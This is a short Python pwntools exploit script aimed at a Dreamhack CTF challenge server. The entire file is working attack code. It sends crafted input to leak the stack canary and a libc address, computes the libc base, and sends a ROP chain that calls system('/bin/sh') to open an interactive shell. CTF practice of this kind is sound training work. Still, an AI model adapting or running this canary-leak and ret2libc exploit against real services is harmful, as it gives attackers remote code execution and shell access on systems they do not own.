from pwn import *
r=remote("host1.dreamhack.games",19904)
lib=ELF("./libc.so.6")
context.log_level="debug"
r.sendafter("> ",b"3.")
r.sendafter("> ",b"2.")
r.sendafter(".",b"a"*256)
r.sendafter("> ",b"1.")
r.recvn(272)
canary=u64(r.recvn(8))
print(hex(canary))

r.recvn(24)
lib_start=u64(r.recvn(8))
print(hex(lib_start))
lib_base=lib_start-lib.symbols['__libc_start_main']-128
sys=lib_base+lib.symbols['system']
binsh=0x1d8698+lib_base
p_rdi=0x2a3e5+lib_base
ret=0xbab79+lib_base
pay=b'a'*24+p64(canary)+b'a'*8+p64(p_rdi)+p64(binsh)+p64(ret)+p64(sys)
r.sendafter("> ",pay)
r.send(b".")
r.interactive()